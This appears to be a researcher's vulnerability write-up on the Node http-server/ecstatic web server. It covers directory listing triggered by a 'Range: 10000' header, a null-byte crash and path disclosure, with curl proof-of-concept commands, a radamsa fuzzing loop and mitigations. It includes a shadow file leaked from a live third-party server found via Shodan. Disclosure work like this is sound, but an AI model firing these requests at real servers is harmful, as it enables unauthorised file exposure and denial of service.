I’ve been fuzzing http-server for a few days now and I found 3 interesting vulnerabilities which may affect versions 2.2.1 (some), 3.3.2, 3.3.1, 3.3.0 and 4.1.2 of ecstatic web-server:
- Directory listing due to insecure default configuration + “range: 10000” HTTP header
- Denial of Service by sending the %00 null character in the URL
- Internal path disclosure caused by a long URL
According to shodan there are up to 5k ecstatic webservers

Summary
- Set up http-server locally
- Directory listing
- Denial of Service
- Internal path disclosure
- Fuzzing input
1. Set up http-server locally
First we clone the repo, install the dependencies and start the webserver. Once done, we can access http://127.0.0.1:8080 and start fuzzing it.
x@ubuntu: git clone hxxps://github.com/http-party/http-server
x@ubuntu: cd http-server
x@ubuntu: npm i
x@ubuntu: node bin/http-server
Starting up http-server, serving ./public
Available on:
hxxp://127.0.0.1:8080
hxxp://192.168.136.160:8080
hxxp://10.8.4.3:8080
Hit CTRL-C to stop the server
The public directory content shows the structure of the content available through the web interface
http-server-js/public: tree
.
├── 404.html
├── img
│ └── turtle.png
└── index.html
1 directory, 3 files
2. Directory listing
http-server is using node-ecstatic, and they both have directory listing enabled by default (but why?). This is not recommended because the directory may contain files that are not normally exposed through links on the web site i.e: keys, configuration, authentication bypass, etc.
http-server
Available Options:
-p or --port Port to use (defaults to 8080)
-a Address to use (defaults to 0.0.0.0)
-d Show directory listings (defaults to true)
node-ecstatic
{
"autoIndex": true,
"showDir": true,
"showDotfiles": true,
"humanReadable": true,
"hidePermissions": false,
"si": false,
[..]
}
While these are configured to enable directory listing, if we request the “img” folder path listed in the public directory, the server returns 404 (so all good?):
x@ubuntu: curl hxxp://127.0.0.1:8080/img/
<html>
<head>
<title>404</title>
</head>
<body>
<h1>404</h1>
<p>Were you just making up filenames or what?</p>
</body>
</html>
However during the fuzzing stage, I noticed that some responses from the server are larger than usual due to some extra CSS.

Rendering the HTML page in Burp revealed the directory listing

It seems that adding the "range: 10000"
header in the request, makes the server display the directory listing, alongside permissions and dotfiles as specified in the configuration. Weird how this happens only when this header is present:
x@ubuntu: curl -H "Range: 10000" hxxp://127.0.0.1:8080/img/
Searching on shodan for server: "ecstatic"
we get around 5000 servers. After testing a few of the results, it appears that at least the following versions are vulnerable by default, unless the server is started explicitly with directory listing disabled (-d false
):
- ecstatic-2.2.1 (some)
- ecstatic-3.3.2
- ecstatic-3.3.1
- ecstatic-3.3.0
- ecstatic-4.1.2
And then there are people running the http-server as root
, with the path set to /
?? (at least it’s a docker)
HTTP/1.1 200 OK
server: ecstatic-2.2.1
cache-control: max-age=3600
content-length: 652
content-type: application/octet-stream; charset=utf-8
Connection: close
root:*:17370:0:99999:7:::
daemon:*:17370:0:99999:7:::
bin:*:17370:0:99999:7:::
sys:*:17370:0:99999:7:::
sync:*:17370:0:99999:7:::
games:*:17370:0:99999:7:::
man:*:17370:0:99999:7:::
lp:*:17370:0:99999:7:::
mail:*:17370:0:99999:7:::
news:*:17370:0:99999:7:::
uucp:*:17370:0:99999:7:::
proxy:*:17370:0:99999:7:::
www-data:*:17370:0:99999:7:::
backup:*:17370:0:99999:7:::
list:*:17370:0:99999:7:::
irc:*:17370:0:99999:7:::
gnats:*:17370:0:99999:7:::
nobody:*:17370:0:99999:7:::
systemd-timesync:*:17370:0:99999:7:::
systemd-network:*:17370:0:99999:7:::
systemd-resolve:*:17370:0:99999:7:::
systemd-bus-proxy:*:17370:0:99999:7:::
node:!:17373:0:99999:7:::
Mitigation
The fix is easy, either edit the lib/http-server.js
and set the directory listing to be false by default:
this.showDir = false;
Or start the server with -d false
flag. Both of them make the server return a 403 Forbidden for the directory listing:
HTTP/1.1 403 Forbidden
server: ecstatic-2.2.1
Date: Wed, 25 Mar 2020 16:57:50 GMT
Connection: close
Content-Length: 0
3. Denial of Service
The DoS vulnerability is brain-dead and I discovered it while fuzzing the URL path of the webserver. http-server
is built on top of ecstatic-3.2.2
which cannot properly handle the null character a.k.a %00 and it crashes the webserver:
curl hxxp://127.0.0.1:8080/%00
curl: (52) Empty reply from server
..and on the server
internal/fs/utils.js:540
throw err;
^
TypeError [ERR_INVALID_ARG_VALUE]: The argument 'path' must be a string or Uint8Array without null bytes. Received '/tmp/http-server/public/\u0000'
at Object.stat (fs.js:920:10)
at statFile (/tmp/http-server/node_modules/ecstatic/lib/ecstatic.js:350:10)
at Array.middleware (/tmp/http-server/node_modules/ecstatic/lib/ecstatic.js:460:7)
at dispatch (/tmp/http-server/node_modules/union/lib/routing-stream.js:110:21)
at Object.onceWrapper (events.js:427:28)
at module.exports.emit (events.js:321:20)
at Array.<anonymous> (/tmp/http-server/lib/http-server.js:98:11)
at dispatch (/tmp/http-server/node_modules/union/lib/routing-stream.js:119:21)
at module.exports.RoutingStream.route (/tmp/http-server/node_modules/union/lib/routing-stream.js:121:5)
at Object.onceWrapper (events.js:428:26) {
code: 'ERR_INVALID_ARG_VALUE'
}
I didn’t test the DoS exploit on any shodan target, but I guess many of them could be also vulnerable to this.
Mitigation(?)
I don’t have a fix for the DoS, and it seems that they had previous problems with this and this. Furthermore, the project is not actively maintained anymore so yeah – good luck with that.
4. Internal path disclosure
Sending a large directory path will display an ENAMETOOLONG
error, along the internal path of where the public directory is placed /home/user/Projects/..
:
curl hxxp://127.0.0.1:8080/`python -c "print 'A'*500"`
Error: ENAMETOOLONG: name too long, stat /home/user/Projects/http-server-js/public/AAA..
5. Fuzzing input
For fuzzing the http-server I used the wikipedia list of request and response headers + radamsa to generate cases derived from these examples:
x@ubuntu: mkdir cases
x@ubuntu: cd cases
x@ubuntu: split -l 1 headers
x@ubuntu: ls x*
xaa xad xag xaj xam xap xas xav xay xbb xbe xbh xbk xbn xbq xbt xbw xbz xcc xcf xci xcl xco xcr xcu xcx xda xdd xdg xdj xdm xdp xds xdv xdy xeb
xab xae xah xak xan xaq xat xaw xaz xbc xbf xbi xbl xbo xbr xbu xbx xca xcd xcg xcj xcm xcp xcs xcv xcy xdb xde xdh xdk xdn xdq xdt xdw xdz
xac xaf xai xal xao xar xau xax xba xbd xbg xbj xbm xbp xbs xbv xby xcb xce xch xck xcn xcq xct xcw xcz xdc xdf xdi xdl xdo xdr xdu xdx xea
x@ubuntu: for i in `ls x*`; do echo $i; mkdir cases/$i; radamsa -n 10 -o cases/$i/%n.txt $i; done
Now that we generated the cases, we can write a bash script to iterate through them and perform the curl request. For this example I’m using also a proxy on localhost:8081 to save each request-response in Burp for error triaging later:
for i in `ls cases`; do
for j in `ls cases/$i`; do
fuzz=`cat cases/$i/$j`
curl -x http://127.0.0.1:8081 -i -s -k -X $'GET' \
-H "$fuzz" -H $'Connection: close' \
$'hxxp://127.0.0.1:8080/' >/dev/null
done
done
Content of headers:
Accept-Charset: utf-8
Accept-Datetime: Thu, 31 May 2007 20:35:00 GMT
Accept-Encoding: gzip, deflate
Accept-Language: en-US
Accept-Patch: text/example;charset=utf-8
Accept-Ranges: bytes
Accept: text/html
Access-Control-Allow-Origin: *
Access-Control-Request-Method: GET
Age: 12
A-IM: feed
Allow: GET, HEAD
Alt-Svc: http/1.1="http2.example.com:8001"; ma=7200
Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==
Cache-Control: max-age=0
Cache-Control: max-age=3600
Cache-Control: no-cache
Cache-Control: no-store
Connection: close
Connection: keep-alive
Content-Disposition: attachment; filename="fname.ext"
Content-Encoding: gzip
Content-Language: da
Content-Length: 348
Content-Location: /index.htm
Content-MD5: Q2hlY2sgSW50ZWdyaXR5IQ==
Content-Range: bytes 21010-47021/47022
Content-Security-Policy: upgrade-insecure-requests
Content-Type: application/x-www-form-urlencoded
Content-Type: text/html; charset=utf-8
Cookie: $Version=1; Skin=new;
Date: Tue, 15 Nov 1994 08:12:31 GMT
Delta-Base: "abc"
DNT: 0
DNT: 1
ETag: "737060cd8c284d8af7ad3082f209582d"
Expect: 100-continue
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Forwarded: for=192.0.2.43, for=198.51.100.17
Forwarded: for=192.0.2.60;proto=http;by=203.0.113.43
From: user@example.com
Front-End-Https: on
Host: en.wikipedia.org
Host: en.wikipedia.org:8080
HTTP2-Settings: token64
If-Match: "737060cd8c284d8af7ad3082f209582d"
If-Modified-Since: Sat, 29 Oct 1994 19:43:31 GMT
If-None-Match: "737060cd8c284d8af7ad3082f209582d"
If-Range: "737060cd8c284d8af7ad3082f209582d"
If-Unmodified-Since: Sat, 29 Oct 1994 19:43:31 GMT
IM: feed
Last-Modified: Tue, 15 Nov 1994 12:45:26 GMT
Link: </feed>; rel="alternate"
Location: http://www.w3.org/pub/WWW/People.html
Location: /pub/WWW/People.html
Max-Forwards: 10
Origin: http://www.example-social-network.com
P3P: CP="This is not a P3P policy! See https://en.wikipedia.org/wiki/Special:CentralAutoLogin/P3P for more info."
P3P:CP="your_compact_policy"
Pragma: no-cache
Proxy-Authenticate: Basic
Proxy-Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==
Proxy-Connection: keep-alive
Public-Key-Pins: max-age=2592000; pin-sha256="E9CZ9INDbd+2eRQozYqqbQ2yXLVKB9+xcprMF+44U1g=";
Range: bytes=500-999
Referer: http://en.wikipedia.org/wiki/Main_Page
Refresh: 5; url=http://www.w3.org/pub/WWW/People.html
Retry-After: 120
Retry-After: Fri, 07 Nov 2014 23:59:59 GMT
Server: Apache/2.4.1 (Unix)
Set-Cookie: UserID=JohnDoe; Max-Age=3600; Version=1
Status: 200 OK
Strict-Transport-Security: max-age=16070400; includeSubDomains
TE: trailers, deflate
Timing-Allow-Origin: *
Timing-Allow-Origin: <origin>[, <origin>]*
Tk: !
Tk: ?
Tk: G
Tk: N
Tk: T
Tk: C
Tk: P
Tk: D
Tk: U
Trailer: Max-Forwards
Transfer-Encoding: chunked
Upgrade: h2c, HTTPS/1.3, IRC/6.9, RTA/x11, websocket
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0
Vary: *
Vary: Accept-Language
Via: 1.0 fred, 1.1 example.com (Apache/1.1)
Warning: 199 Miscellaneous warning
WWW-Authenticate: Basic
X-Att-Deviceid: GT-P7320/P7320XXLPG
X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
X-Forwarded-For: 129.78.138.66, 129.78.64.103
X-Forwarded-For: client1, proxy1, proxy2
X-Forwarded-Host: en.wikipedia.org
X-Forwarded-Host: en.wikipedia.org:8080
X-Forwarded-Proto: https
X-Frame-Options: deny
X-HTTP-Method-Override: DELETE
X-Requested-With: XMLHttpRequest
X-UIDH: ...
x-wap-profile: http://wap.samsungmobile.com/uaprof/SGH-I777.xml